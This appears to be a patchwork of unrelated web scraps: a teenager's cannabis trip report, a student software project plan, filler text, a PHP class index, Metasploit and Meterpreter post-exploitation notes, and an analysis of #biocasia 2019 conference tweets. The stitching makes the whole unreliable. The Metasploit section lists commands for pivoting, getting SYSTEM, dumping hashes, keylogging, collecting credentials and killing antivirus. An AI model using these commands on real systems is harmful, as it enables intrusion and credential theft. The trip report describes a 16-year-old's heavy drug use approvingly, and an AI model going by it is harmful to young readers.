| DOSE: |
6 hits |
smoked |
Cannabis |
(plant material) |
This experience is more or less how I came to grasp the true strength and power that weed has. Before this particular session I felt I had only really scratched the surface of the true potential of this wonderful plant, and had only really felt just above threshold feelings. This was probably one of the reasons I went above and beyond the amount I would usually smoke.
I'm a 16 year old white male, not on any medication, without any (known) allergies and on this particular night, I had the house completely to myself.  Although my parents were particulary bohemien in my upbringing, especially my mother of whom I speak openly about drugs with, I felt it was best to hide my smokables and such from them. I feared that if my parents found my weed I would almost certainly be sternly told 'I'm not mad, I'm just dissapointed' which hurts so much more, so naturally I wanted to avoid this as much as humanly possible. So, to recap, I have weed, equipment to make a smoking device and a free house for a good 12 hours.
I proceeded to go to my bathroom were I began to make the gravity bong (or 'waterfall' as they are called over here) that would no doubt insure numerous good times. I stuck the cone piece in the lid ensuring it was sealed and set about burning a small hole in the bottom of a 1.25 litre pepsi bottle. You may or not know the workings of a gravity bong, but I'll explain anyway. A waterfall works on the principle of water draining and sucking air through the cone piece screwed onto the bottle.
So now I was ready to take my first waterfall cone of the evening. I lit the cone piece and let the water drain, watching in awe as the bottle filled with thick, creamy smoke, quite a sight indeed! As the water neared its end, I regulated my breathing, unscrewed the lid and took the hit. Now 1 cone is 1 cone, nothing more.   I decided to up the anty 2 or 3 more cones, for better or worse.
As 1 became 2 and 2 became 3, I started to notice my bathroom sink and the items which inhabited the area around said sink becoming very interesting. At times I would have to snap myself out of my glazed stare to fill up the bottle again or pack another hit. By the 4th cone I was coughing like a coal miner and felt the need to sit down and asses were I was.  After going the extra yard and taking 2 more hits (A total of 6 waterfall cones for those of you not keeping score) I went out to where I spent most of my time, The computer/TV area and looked to see who was on msn.
I first started to notice something was up when the computer monitor was alot brighter than usual. When I say brighter than usual I mean it was almost impossible to look at. My eyes could not focus on the intense light emmited from it and after looking away to the TV to see what was on, the full realisation of what I had done began to set in. My vision had no chance of keeping up with my head movement, The trails became more and more intense until they were thick and pronounced. This was were I started to bug out a little bit.
This was unlike anything before. I began to realise that I was alone in the middle of this intense high and began to worry a little bit. After this experience I found that this particular weed comes on relatively slowly compared to others. It took a good 25 minutes for the full high to come on. I started to stress about what I had done and more importantly where I was going. My thoughts were muddled and confused. I found this experience drew parallels with the come up of MDMA of which I had used for the first time on new years eve 2 weeks previous. As the high took hold, for no apparent reason I began feeling very, very uncomfortable with my surroundings and went to my room. I got to my doorway when I started watching TV to direct my attention away from the strange things going on in my head.
My thoughts soon drifted back to my original feelings of dread and I began to feel scared and alone once again, not sure if I would come out of this experience unscathed or not. I stood in the door way of my room for 5 or so minutes, not being able to make up my mind to turn out the lights in my room and lie under the blanket, or to try and watch tv and let these horrible few minutes pass. Eventually common sense prevailed and I went out to my living room to watch TV.  I laughed till I could laugh no more.
This really helped me control the high I was experiencing and I soon felt good enough to try and get some kind of dinner together. Nachos baked in the micro-wave seemed a good idea. Requiring only 3 ingredients, Nacho chips, salsa and cheese, I didn't think It would take the 30 minutes it took for me to gather my thoughts long enough for me to assemble the nachos. My mind was constantly distracted. I soon became fascinated by the way my arms looked hanging at my sides. If I kept my eyes straight, the look of my arms flailing around in space in my peripheral vision was a very interesting sight.
At this time I had my bass amp hooked up to my computer and I was able to play songs through it with good results. I had been listening to pendulum and as I let the drum and bass beat intice and entrance me, then it dawned on me, I was in a music video!  I grabbed my nachos and began to eat. I had begun to feel intense rushes of energy in my body that went from my head, in particular from my right ear down to my feet. The feeling was momentary but it was quickly proceeded by another rythmic rush of energy.
I began to notice that If I saw something which prompted me to remember how fucked up I was, be it how my arms looked or how intersting a nacho chip was, I would feel another rush of body energy. It was like the weed was rewarding me with this feeling for embracing what it had done to my mind. This was a very pleasant sensation I thought as I sat, slumped and glazed eyed on my couch. This is were I spent most of my night, I mean, I couldn't really think about doing anything else, let alone expending energy on something frivolus like moving around.
I enjoyed just sitting and letting the high come and go, just watching TV and letting time slip away unnoticed. Of course I could have done something creative like play a musical instrument, or written a poem or something, but me and the weed both decided that just sitting and enjoying was probably the best thing to do at that moment. So that's what I did.
To summarise, After this particular session, I feel I have really unlocked at least some of the vast potential of mary jane. After a relativly rough couple of minutes easily on par with and MDMA come-up, the good most definatly out weighed the bad.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Version 1.1, December 15, 2018
Authors: Ali Shahid, Dan Huynh, Kobi Lee, Michael Pintur, Muzammil Elahi, Nick Marecek, Prayrit Khanna, Yousef Fahim
This section provides a detailed overview of our projects scheduling and logistics.
Reach is an android and web-based application which implements Google Maps API allowing users to advertise and locate events, parties and other social gatherings in their relative proximity. The objectives of this project is to provide users with an easy way to advertise or find events within their area.
Assumptions:
Constraints:
| no. | Deliverable | Deadline | Adjusted Deadline |
|---|---|---|---|
| 1 | SPMP | September 23, 2018 | December 16, 2018 |
| 2 | Requirements | September 23, 2018 | December 16, 2018 |
| 3 | GUI | December 3, 2018 | December 3, 2018 |
| 4 | Web Back End & Front End | December 5, 2018 | December 16, 2018 |
| 5 | Database Server & Connection | November 15, 2018 | December 2, 2018 |
| 6 | Android Back End & Front End | December 5, 2018 | December 16, 2018 |
1. Course Website
2. IEEE Standard for SPMP
This section provides definitions and terms used through the SPMP to better understand it.
| Item | Definition |
| Google Maps API | Google Maps API is a programming interface that allows 3rd party apps to communicate with the Google Maps services |
This section provides details to the project's overall organization and implementation framework.
The team has agreed on a democratic leadership style. If the majority votes, then the majority rules. This democratic style of leadership ensures that the majority of members' needs are satisfied, which in turn results in a more productive team.
To organize a large team, members are split into seperate working categories. The categories include: Database, Front End and
Back End (for both web and app), Design, Implementation, SQA, etc.
Furthermore, in order to ensure even workloads, members are only able to pick 3 categories at a time and a fair distribution of work, ensures members are not overwhelmed with too many roles.
Finally, each subgroup has a group representative who is responsible for keeping their group aware of and following the standards all members agreed to set at the beginning of the project. As group representatives, they must meet once or twice a week with updates of new constraints, timelines, and commits.
| # | Role | Members |
| 1 | Android Back End Development | Ali Shahid, Dustin Dugal, Joshua Varga, Julius Fan, Rosario Elmy |
| 2 | Android Front End Development | Joshua Varga, Midusa Nadeswarathasan, Nick Marecek, Qiao Liu, Pranavy Perinparajah, Zach VanderBurgt |
| 3 | Back End Development | James Robertson, Joshua Varga, Julius Fan, Kobi Lee, Michael CWJ, Morgenne Besenschek, Yousef Fahim |
| 4 | Database | Michael Pintur, Muzammil Elahi, Prayrit Khanna, Qiao Liu, Rosario Elmy, Yingxu Zhao, Yousef Fahim |
| 5 | SPMP | Ali Shahid, Dan Huynh, Kobi Lee, Michael Pintur, Muzammil Elahi, Nick Marecek, Prayrit Khanna, Yousef Fahim |
| 6 | SQA | All Members |
| 7 | SRS Document | Bethel Adaghe, Jamie Omorodion, Joshua Varga, Morgenne Besenschek, Muzammil Elahi |
| 8 | UML diagrams | Midusa Nadeswarathasan, Muzammil Elahi, Pranavy Perinparajah |
| 9 | Website Front End Development | Bethel Adaghe, Dan Huynh, Midusa Nadeswarathasan, Muzammil Elahi, Nick Marecek, Qiao Liu, Yingxu Zhao, Yousef Fahim, Zach VanderBurgt |
| # | Sub Group | Representative |
| 1 | Android Front End Development | Qiao Liu |
| 2 | Android Back End Development | Julius Fan |
| 3 | Back End Development | Kobi Lee |
| 4 | Database | Prayrit Khanna |
| 5 | SPMP | Ali Shahid |
| 6 | SQA | Rosario Elmy |
| 7 | SRS Document | Joshua Varga |
| 8 | UML diagrams | Pranavy Perinparajah |
| 9 | Website Front End Development | Rosario Elmy |
This section contains the set of standards that the group has implemented to ensure organization and synchronously.
| Component | Colours |
|---|---|
| Menu and Boxes | #0000000 |
| Buttons |
#282828 |
| Borders |
#FF0000 |
| Text |
#FFFFFF |
Styling/guideline: CSS Styling:
The objective of this project is to develop a web and android application that allows hosts to post events, and users to find those events using Google Maps platform. Our main priorities are securing funding in order to purchase access to the Google API as well as setting up a mock up of our front end. Ultimately, we plan to finish all of our deliverables by the end of the term.
Risk 1: Misuse of the application, for example, fake party set-ups for other purposes.
Solutions:
i. In-depth terms of service clause which alleviates legal responsibility from us
ii. Report function implemented to circumvent this issue
iii. Cautionary message to warn users when looking at locations (Similar to Pokemon Go warning about not using the app while driving)
Risk 2: Server overload due to high traffic.
Solutions:
i. Application must be portable from server to server
ii. Queue system could be implemented preventing complete server overload, causing users to wait
Risk 3: Malicious use of app by hosts and/or users.
Solutions:
i. Rating system implemented so users/hosts who receive excessive reports are flagged and potentially blocked from features in the application
ii. Ban systems in place in case of excessive reports, ranging from temporary bans to permanent bans
The following is being used for the development of the project.
Android Application Development: The code pertaining to the android application must be documented fully following the Javadocs format. Web Application Development: The code pertaining to the web application must be documented fully following the Javadocs format.


The history or Lorem Ipsum
Contrary to popular belief, Lorem Ipsum is not simply random text.  Richard McClintock, a Latin professor at Hampden-Sydney College in Virginia, looked up one of the more obscure Latin words, consectetur, from a Lorem Ipsum passage, and going through the cites of the word in classical literature, discovered the undoubtable source. Lorem Ipsum comes from sections 1.10.32 and 1.10.33 of "de Finibus Bonorum et Malorum" (The Extremes of Good and Evil) by Cicero, written in 45 BC. This book is a treatise on the theory of ethics, very popular during the Renaissance. The first line of Lorem Ipsum, "Lorem ipsum dolor sit amet..", comes from a line in section 1.10.32.Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse faucibus viverra porta. Pellentesque scelerisque eros quis dignissim semper. Nulla ut justo a sapien lobortis posuere. Maecenas scelerisque justo eleifend risus dapibus, id bibendum tellus placerat. Sed massa diam, ornare ut varius ut, auctor non arcu. Cras rutrum tortor eu diam feugiat aliquam. Suspendisse rutrum pretium pretium.
It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using 'Content here, content here', making it look like readable English. Many desktop publishing packages and web page editors now use Lorem Ipsum as their default model text, and a search for 'lorem ipsum' will uncover many web sites still in their infancy. Various versions have evolved over the years, sometimes by accident, sometimes on purpose (injected humour and the like).


Doggo ipsum doge puggorino adorable doggo you are doing me a frighten yapper, big ol long bois waggy wags.  Tungg long woofer doge smol woofer long woofer shooberino, very good spot pupper smol borking doggo with a long snoot for pats ruff stop it fren, shoob most angery pupper I have ever seen he made many woofs very hand that feed shibe you are doing me a frighten. Floofs adorable doggo stop it fren borkf wow such tempt porgo very jealous pupper the neighborhood pupper doggorino, pupper heckin thicc many pats fat boi smol borking doggo with a long snoot for pats. Doing me a frighten long doggo wrinkler big ol pupper, doggorino.


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| Attribute | |
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| BaseAction | |
| BaseCachedFile | Cached file management actions. |
| Cache | Class Cache |
| Cart | Class Cart where all actions are manage like adding, modifying or delete items. |
| Category | |
| Config | |
| Content | Class Content |
| Country | Class Country |
| Coupon | Created by JetBrains PhpStorm. |
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| Customer | customer class where all actions are managed |
| Document | Document management actions. |
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| Folder | Class Folder |
| HttpException | Class HttpException |
| Image | Image management actions. |
| Lang | Class Lang |
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| Newsletter | Class Newsletter |
| Order | Class Order |
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| ShippingZone | Class ShippingZone |
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Fst values were calculated for each chromosome separately and then averaged across chromosomes, using Weir and Cockerham's estimator. The estimation were performed using the R package poolfstat . The highest Fst value within each popluation is highlighted in red.:


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Metasploit
Commands
show options for the payload.
show targets
show options
A common module is the ‘exploit/multi/handler’ module which is used to handle payloads. For example, if you launch an exploit outside of Metasploit, this module can be used to set up a payload that listens for and handles incoming reverse TCP connections on the specified port and host.
use exploit/multi/handler
Particularly when you are located on a different subnet, you may not be able to access all of the targets included in the customer scope. Once you compromise hosts that may have routes to other targets, you can utilize the Metasploit ‘route’ command in conjunction with a SOCKS4 proxy to route traffic through open sessions (i.e. from your phishing campaign or other exploitation).
route add "destination ip" "subnet" "session ?"
use auxiliary/server/socs4a
Set the srvhost:
set srvhost "local for most cases"
Set the srvport:
set srvport "port"
Now you can start the proxy server.
run
Once you have set up the route and proxy server in Metasploit, you can use proxychains or modify your connection settings in your browser for SOCKS4 proxy configuration: Use the GUI network configuration guide to setup a SOCKS local host listener on your configured port. Double Check for Socks 4.
I think the portfwd command that creates a relay from the local host to the destination host will work for certain situations.
Meterpreter
Suggest post exploitation paths
run post/multi/recon/local_exploit_suggester
Get Administrator
getsystem
Drop into a command prompt
shell
Creates relay from a meterpreter session
portfwd add -l 22 -p 22 -r <IP_ADDRESS>
Systeminfo
Check the system and current process that the session is running as. I had an issue where the exploit gave me a x86 (WOW64 32 bit) shell and the privesc needed x64 (64bit). ^ This statement might be completely false lol ^
sysinfo
I am not sure if this migrated me to a (x86) process. Always check with sysinfo.
run post/windows/manage/migrate
Core Commands
Background the meterpreter session
background
Bring that meterpreter session to the foreground. Trick here is hitting tab to see available sessions.
session -i "session id"
Meterpreter Scripts
killav
metsvc
migrate
netenum
prefetchtool
vnc_oneport / vnc
sheduleme
winenum
credcollect
get_local_subnets
getcountermeasure
getgui
gettelnet
hashdump
keylogrecorder
checkvm


| Parameter | Value |
|---|---|
| hashtag | #biocasia |
| start_day | 2019-12-05 |
| end_day | 2019-12-06 |
| timezone | Australia/Sydney |
| theme | theme_light |
| accent | #3f92ac |
| accent2 | #9FC8D5 |
| kcore | 2 |
| topics_k | 6 |
| bigram_filter | 3 |
| fixed | TRUE |
| seed | 1 |
An analysis of tweets from the #biocasia hashtag. A total of 498 tweets from 113 users were collected using the rtweet
R package.
An analysis of tweets from the #biocasia hashtag for the BioC Asia conference 2019.
A total of 498 tweets from 113 users were collected using the rtweet
R package.
Filtered for dates 2019-12-05 - 2019-12-06 in the Australia/Sydney timezone.
The “replies network”, composed from users who reply directly to one another, coloured by PageRank.
The “mentions network”, where users mention other users in their tweets. Filtered for a k-core of 2. Node colour and size adjusted according to PageRank score.
| screen_name | text | retweet_count |
|---|---|---|
| _StuartLee | For #BiocAsia I’ve written a workflow package for exploring and combining results from RNA-seq and ATAC-seq data. First iteration is up here: https://t.co/03oRjSfThQ | 22 |
| PeteHaitch | By constructing ‘psuedobulk’ samples from scRNA-seq data, we can use tried and tested methods for differential expression analysis (limma, edgeR, DESeq2, etc) @CrowellHL benchmarked this approach along with other methods in https://t.co/SMNPfC7iyO #biocasia https://t.co/jZwcPFN13i | 15 |
| trashystats |
For #BiocAsia @PeteHaitch and me are giving a tutorial on how to make a Bioconductor package 📦 with @rstudio. You can find the tutorial here (feedback very welcome): https://t.co/y9vkKBgYSA |
14 |
| PeteHaitch | G’day from #biocasia https://t.co/f2e2XNNkmG | 12 |
| PeteHaitch | Martin Morgan making the pitch at #BioInfoSummer / #biocasia to learn @Bioconductor There’s lots of learning material available: https://t.co/xjRvliJxmb And the project is essential to lots of current research: https://t.co/qppX0pRQTO | 10 |
| PeteHaitch | There are 27 @Bioconductor workflows for common genomic analyses (https://t.co/7qUnzfWepD) Since we’re at #biocasia/#BioInfoSummer, @mritchieau is highlighting the true blue, dinky di, Aussie-developed RNAseq123 workflow (https://t.co/z5niD5vbBx) available in Chinese and English! | 9 |
| PeteHaitch | Delighted to have @CrowellHL as a keynote speaker at #biocasia! Helena and her colleagues in @markrobinsonca’s lab develop great @Bioconductor packages for CyTOF (https://t.co/ifzdnjDbLa) and scRNA-seq (https://t.co/YAYEhwEEus) data. https://t.co/dGh9rwdla7 | 9 |
| mritchieau | @shazanfar from the @MarioniLab introduces scHOT for flexible analysis of higher-order interactions in #singlecell data: shows us examples of variability, correlation and spatial analysis #biocasia. Code available at https://t.co/p8l2m21jqt https://t.co/41Nbf73QtU | 8 |
| PeteHaitch | @JovMaksimovic develops the missMethyl package which has the best logo in the business #biocasia https://t.co/JFMQdiJUoa https://t.co/D5uXSQNtJB | 8 |
| PeteHaitch | PuXue Qiao sharing the resources she, along with Ruqian Lyu and @davisjmcc, developed for a 2-day scRNA-seq course https://t.co/sq2q2HgEA6 #biocasia | 8 |
| screen_name | text | favorite_count |
|---|---|---|
| _StuartLee | For #BiocAsia I’ve written a workflow package for exploring and combining results from RNA-seq and ATAC-seq data. First iteration is up here: https://t.co/03oRjSfThQ | 56 |
| PeteHaitch | G’day from #biocasia https://t.co/f2e2XNNkmG | 46 |
| PeteHaitch | By constructing ‘psuedobulk’ samples from scRNA-seq data, we can use tried and tested methods for differential expression analysis (limma, edgeR, DESeq2, etc) @CrowellHL benchmarked this approach along with other methods in https://t.co/SMNPfC7iyO #biocasia https://t.co/jZwcPFN13i | 46 |
| trashystats | What a great keynote!!! It is quite unbelievable that @CrowellHL is only in her first year of her PhD. #biocasia Outstanding. https://t.co/DyR64Qx5ou | 29 |
| PeteHaitch | Charity Law, developer of voom, introducing an extension to voom to handle group-specific variance estimation and how she’s thinking about adapting it to scRNA-seq differential expression analysis #biocasia https://t.co/HOguf3wWpl | 26 |
| trashystats |
For #BiocAsia @PeteHaitch and me are giving a tutorial on how to make a Bioconductor package 📦 with @rstudio. You can find the tutorial here (feedback very welcome): https://t.co/y9vkKBgYSA |
26 |
| CrowellHL | Off to 🇦🇺 for some Bioinformatics fun 👩🏻💻, to talk & teach about CyTOF at #BiocAsia / BioInfoSummer in Sydney, and explore other parts of AUS. Stressed, grateful and excited! - Now looking forward to 20h of reading & movies ✈😴 That completes my #BiocBingo 🥳 | 24 |
| PeteHaitch | It takes 5+ bioinformaticians to get the bloody projector working, thanks to @JovMaksimovic for being willing to improvise! Excited to hear her work on gene set testing for differentially methylated regions #biocasia https://t.co/R8OUlu4Hy6 | 23 |
| PeteHaitch | You know it’s a @DongXueyi talk when Pokemon make an appearance. Xueyi is presenting her work on RNA-seq analysis of @nanopore data #biocasia https://t.co/PblubdtTSH | 22 |
| PeteHaitch | Lots of people in the house to learn about @Bioconductor from the leader of the project, Martin Morgan at #biocasia #BioInfoSummer https://t.co/lwPLmrBJJM | 20 |
| screen_name | text | quote_count |
|---|---|---|
| JovMaksimovic | Hear, hear! group hug #biocasia https://t.co/OCvPxeCRj8 | 2 |
| MTrussart | Wonderful talk from @CrowellHL at #BiocAsia showcasing #Catalyst and #diffcyt #R packages, i loved her enthusiasm and emotion towards the #Bioconductor community! https://t.co/DmF10cf1gC | 2 |
| mritchieau | So many cool papers @FertigLab @GenesOfEve and colleagues to learn more about these methods e.g. https://t.co/OsJH622gAo and https://t.co/woblN8CxhC #biocasia https://t.co/7NhkR0zyuG | 2 |
| JovMaksimovic | Final talk for #BiocAsia #BioInfoSummer https://t.co/YGwlhBuLlk | 2 |
| joshuawkho | Please come join me at the #BioCAsia conference! https://t.co/RVzv1jvCzz | 1 |
| mritchieau | #biocasia https://t.co/q4IjB0zb27 | 1 |
| JovMaksimovic | I really need to get onto the @Bioconductor slack #biocasia https://t.co/GffPVaX5F8 | 1 |
| HannahCoughlan4 | Thanks for the opportunity to present my work! #biocasia https://t.co/g9i3Abkm3E | 1 |
| trashystats | This was a most impressive undergrad talk. Beautiful visualizations! #biocasia https://t.co/DZeUiqexlu | 1 |
| mritchieau | #biocasia https://t.co/DhQnm7H9md | 1 |
| screen_name | text | favorite_count |
|---|---|---|
| PeteHaitch | G’day from #biocasia https://t.co/f2e2XNNkmG | 46 |
| PeteHaitch | By constructing ‘psuedobulk’ samples from scRNA-seq data, we can use tried and tested methods for differential expression analysis (limma, edgeR, DESeq2, etc) @CrowellHL benchmarked this approach along with other methods in https://t.co/SMNPfC7iyO #biocasia https://t.co/jZwcPFN13i | 46 |
| PeteHaitch | Charity Law, developer of voom, introducing an extension to voom to handle group-specific variance estimation and how she’s thinking about adapting it to scRNA-seq differential expression analysis #biocasia https://t.co/HOguf3wWpl | 26 |
| PeteHaitch | It takes 5+ bioinformaticians to get the bloody projector working, thanks to @JovMaksimovic for being willing to improvise! Excited to hear her work on gene set testing for differentially methylated regions #biocasia https://t.co/R8OUlu4Hy6 | 23 |
| PeteHaitch | You know it’s a @DongXueyi talk when Pokemon make an appearance. Xueyi is presenting her work on RNA-seq analysis of @nanopore data #biocasia https://t.co/PblubdtTSH | 22 |
| PeteHaitch | Lots of people in the house to learn about @Bioconductor from the leader of the project, Martin Morgan at #biocasia #BioInfoSummer https://t.co/lwPLmrBJJM | 20 |
| PeteHaitch | Exciting talk by @shazanfar bringing scHOT (https://t.co/1NSzfqWwLe) to spatial transcriptomics, the cool new kid on the single cell block #biocasia https://t.co/4SsGLInsmk | 20 |
| annaquagli | Thanks to @trashystats for the detailed documentation and workshop on making @Bioconductor 📦 . Did you know that you can go inside the R/myfun.R -> click on ‘Code’ -> ‘Insert Roxygen Skeleton’ ?🤯 #BiocAsia https://t.co/GDDjQW9Gny https://t.co/urkJfLMP7v | 19 |
| PeteHaitch | The “boring to some people but I think is really cool result” (@CrowellHL’s words, but I concur) is that running edgeR or limma on the summed counts works best and is many, many times faster and simpler than running a full-blown mixed model in their experience #biocasia https://t.co/YdYzI7UnpJ | 18 |
| shazanfar | #biocasia #bioinfosummer @trashystats addressing the issue of overplotting of many many coloured points in a scatterplot, with Bioconductor package schex (pron “ess-see-hex” 🤣). Saskia is super cool under the live demo pressure, well done!! https://t.co/mywX9y9MMN | 17 |
The top 100 words used 3 or more times.
Words that were tweeted next to each other at least 3 times.
Top 10 words associated with 6 topics identified by LDA.
Most representative tweets for each topic
| screen_name | text | gamma |
|---|---|---|
| paulfharrison |
Workshop by @_StuartLee: plyranges for fluent genomic ranges manipulation, loading Salmon data with tximeta, joining RNA-Seq and ATAC-Seq by range, and a whole lot of useful tricks along the way. #biocasia https://t.co/fnI4sRhwPY |
0.9963609 |
| MnM_HealthCare |
Pharmacy Automation Market: Global Key Players, Trends, Industry Size #Pharmacy #Automation #Market #robot #healthcare #medical #devices #health #healthy #BiocAsia https://t.co/fcBZ9eptTf |
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| malhamdoosh | Professor Pei Wang from @IcahnMountSinai at #biocasia 2019 explaining her DreamAI method at her workshop on methods and tools for preprocessing and imputation of mass spectrometry-based proteomics data https://t.co/2jZbPIIwaj | 0.9959585 |
| PeteHaitch | There are 27 @Bioconductor workflows for common genomic analyses (https://t.co/7qUnzfWepD) Since we’re at #biocasia/#BioInfoSummer, @mritchieau is highlighting the true blue, dinky di, Aussie-developed RNAseq123 workflow (https://t.co/z5niD5vbBx) available in Chinese and English! | 0.9957220 |
| shazanfar |
For those interested in keeping up to date with the festival of bioinformatics this & next week in Sydney, here’s my Tweetdeck search 😂 #BioInfoSummer OR @bioinfosummer OR #biocasia OR #abacbs OR @abacbs OR #GIWABACBS2019 OR #abacbs2019 OR #abacbs19 did I cover all bases? 😂 |
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| _StuartLee | For #BiocAsia I’ve written a workflow package for exploring and combining results from RNA-seq and ATAC-seq data. First iteration is up here: https://t.co/03oRjSfThQ | 0.9948110 |
| JovMaksimovic | Using formal data structures and data import functions in @Bioconductor can help you avoid common pitfalls such as dealing with 0 vs. 1 based coordinates #biocasia | 0.9939524 |
| mritchieau | @joshuakho’s paper on this work is at https://t.co/aBQvNFUCcc Great collaboration with David Humphreys from @VictorChangInst driving methods and software development #biocasia https://t.co/OiRtwPzVtg | 0.9939524 |
| trashystats | Last round of workshops. @_StuartLee is giving his very interesting workshop of using plyranges to highlight the genomic context of your DA or DE results. #biocasia https://t.co/fikQxgovdR | 0.9939524 |
| shazanfar |
Added, thanks Andrew!! #BioInfoSummer OR @bioinfosummer OR #biocasia OR #abacbs OR @abacbs OR #GIWABACBS2019 OR #abacbs2019 OR #abacbs19 OR #COMBINE19 OR @combine_au OR #COMBINE2019 https://t.co/GcPXYQY7ML |
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| shazanfar |
What is ethics? Inner morals & culture play a role, but are not the same as ethical theories. E.g.s: consequentialism (the goodness of the outcome is what matters), deontology (what is moral is good), & virtue ethics (is the person’s motivation good?) #biocasia #bioinfosummer |
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| PeteHaitch | @Bioconductor invests time and effort into developing reusable data structures that are specifically designed for bioinformatics datasets, like SummarizedExperiment. Using these saves you developing your own and improves interoperability between packages #biocasia https://t.co/WCnMuTI0RK | 0.9959585 |
| annaquagli | @MTrussart discussing all of #Cytof at #biocasia. Chat to her to know more about her debarcoding method using Gaussian mixtures, #reproducibility and removing batch effect with the #ruv #rstats 📦, #normalization and cell #clustering! https://t.co/Ysr9InoDhs https://t.co/2Beaa8jXqU | 0.9959585 |
| lazappi | @shazanfar Yay to #biocasia for having this! 🎉 I think all conferences should have one invited “community talk” that is relevant to the audience but not a research project. Ethics is one example but also patient stories, mental health, workplace practices, career prospects etc. | 0.9959585 |
| PeteHaitch | Delighted to have @CrowellHL as a keynote speaker at #biocasia! Helena and her colleagues in @markrobinsonca’s lab develop great @Bioconductor packages for CyTOF (https://t.co/ifzdnjDbLa) and scRNA-seq (https://t.co/YAYEhwEEus) data. https://t.co/dGh9rwdla7 | 0.9954561 |
| PeteHaitch | Martin Morgan making the pitch at #BioInfoSummer / #biocasia to learn @Bioconductor There’s lots of learning material available: https://t.co/xjRvliJxmb And the project is essential to lots of current research: https://t.co/qppX0pRQTO | 0.9948110 |
| trashystats |
@shazanfar is absolutely filling John’s massive shoes (literally and figuratively) by presenting scHOT which allows investigation of higher order statistics in single cell data #biocasia. https://t.co/FNSAlOjfup |
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| PeteHaitch | It takes 5+ bioinformaticians to get the bloody projector working, thanks to @JovMaksimovic for being willing to improvise! Excited to hear her work on gene set testing for differentially methylated regions #biocasia https://t.co/R8OUlu4Hy6 | 0.9948110 |
| JovMaksimovic | .@mritchieau telling everyone at #biocasia / #BioInfoSummer about his lab’s RNAseq 123 @Bioconductor workflow and giving a shout out to Melbourne’s local #bioconductor and #rstats Jedi Master - Gordon Smyth. https://t.co/V817fxFEeZ | 0.9948110 |
| mritchieau | @MTrussart introduces us to CyTOF analysis, how to preprocess these data, a novel barcoding strategy to increase cell number and the use of RUV for removing batch effects #biocasia https://t.co/v1tiB4bSlB | 0.9948110 |
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| shazanfar | Dr Lisa Drive, bioethicist from the USyd Philosophy dept, discussing concepts of ethics in the context of precision medicine. It’s impossible to deny the wider impact that medical/clinical bioinformatics can have upon members of society #biocasia #bioinfosummer | 0.9965334 |
| PeteHaitch | @MTrussart telling us the best way to deal with batch effects in CyTOF (or indeed any experiment) is to design the experiment properly! If you plan by expecting batch effects, e.g. including control samples in each batch, then you can adjust for them #biocasia https://t.co/DX40j4O1B8 | 0.9963609 |
| carroll_jono | I’ll be in Sydney for #BioCAsia as of tomorrow afternoon - any #rstats peeps willing to brave the smoke for dinner and/or drinks around Circular Quay? I’ve never been to Sydney so I’ll be checking out the gardens, Opera House, and the bridge like a proper tourist. https://t.co/QR8VD62gg4 | 0.9963609 |
| shazanfar | #biocasia @paulfharrison presenting Topconfects (pub https://t.co/5mYDprcT27 ) that ranks genes based on confidence bounds on the log-fold changes. Furthering @davisjmcc & Smyth’s TREAT (pub https://t.co/iZeszEIkDU ) Software: https://t.co/5H3KA4lFZs works nicely with limma/edgeR | 0.9961702 |
| shazanfar |
#BioInfoSummer #biocasia @FertigLab describes software for performing non-negative matrix factorisation (CoGAPS) and projection transfer learning approaches (projectR) for high throughput genomics data https://t.co/5FojtTftWe |
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| Al__Forrest | Enjoying #biocasia We have a great lineup of speakers in human genomics at #HGM2020 in Perth April 5-8 https://t.co/S4dGO1LRpe Earlybird closes Dec 16th. Over 40 speakers to be selected from the submitted abstracts!! | 0.9957220 |
| annaquagli | Thanks to @trashystats for the detailed documentation and workshop on making @Bioconductor 📦 . Did you know that you can go inside the R/myfun.R -> click on ‘Code’ -> ‘Insert Roxygen Skeleton’ ?🤯 #BiocAsia https://t.co/GDDjQW9Gny https://t.co/urkJfLMP7v | 0.9948110 |
| mritchieau | And that’s a wrap for #BioInfoSummer #biocasia 2019. Congrats to the poster prize winners and thanks again to all the speakers, participants, organisers and generous sponsors especially @DiscoverAMSI for an awesome event! #staycurious https://t.co/e4JvGiYzKm | 0.9948110 |
| PeteHaitch | @rafalab presenting his work estimating death rates following Hurricane Maria in Puerto Rico. Here’s the blog post showing how much of the work was in cleaning the data https://t.co/gi8ixEkSZQ #biocasia #BioInfoSummer | 0.9944145 |
| PNgsabrina | Beautiful work and personal journey by @CrowellHL from @UZH_en on the masterminds behind CyTOF, Catalyst, then muscat. #bioconductor #BiocAsia @Bioinfosummer 😊 @DiscoverAMSI It’s inspiring to see one the cherishs her work with great passion. https://t.co/tI9wHl4jbK | 0.9939524 |
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| annaquagli | Super interesting discussion by Charity Law from @mritchieau lab about how different levels of variation (BCV in the #edgeR world) infleluence the significance of differential expression analysis… PS. I have rarely seen BCV < 0.4/0.5 in my samples 😭 #biocasia https://t.co/NlXzghbNb7 | 0.9968337 |
| shazanfar |
PuXue Xiao with her newly minted PhD (congrats!!), postdoc with @davisjmcc presenting a great talk on the important problem of nearest-neighbour graph construction prior to single cell clustering #biocasia PuXue will be presenting a single cell workshop later today! https://t.co/7YOssXZpGN |
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| PeteHaitch | The “boring to some people but I think is really cool result” (@CrowellHL’s words, but I concur) is that running edgeR or limma on the summed counts works best and is many, many times faster and simpler than running a full-blown mixed model in their experience #biocasia https://t.co/YdYzI7UnpJ | 0.9965334 |
| mritchieau | @mt_morgan encourages us to participate in #bioconductor #slack. Has been a great vehicle for community participation & collaboration. Highlights include development of iSEE & the #singlecell analysis cookbook https://t.co/CLrXYW2kmB. Sign up at https://t.co/Qa7OwOPQdG #biocasia https://t.co/tRJlxAPWYY | 0.9961702 |
| DrHelenMcGuire | #IAmAnImmunologist is INVITED SPEAKING! Super pleased to be invited to share my passion for #immunology and #highdimensional #masscytometry at #Bioinfosummer #biocasia @Bioinfosummer hosted at @Sydney_Uni @CPC_EMCR @SydneyCytometry @ASImmunology @ACScytometry https://t.co/Ln14hNjSyM | 0.9959585 |
| shazanfar | #biocasia 2019 is now coming to a close, organiser @PeteHaitch closing the meeting with news that BiocAsia will be coming to China in 2020! Thank you to the organising committee Pete, Steve Pederson, @trashystats and Dario Strbenac for an excellent meeting! https://t.co/z26y8LFOnI | 0.9959585 |
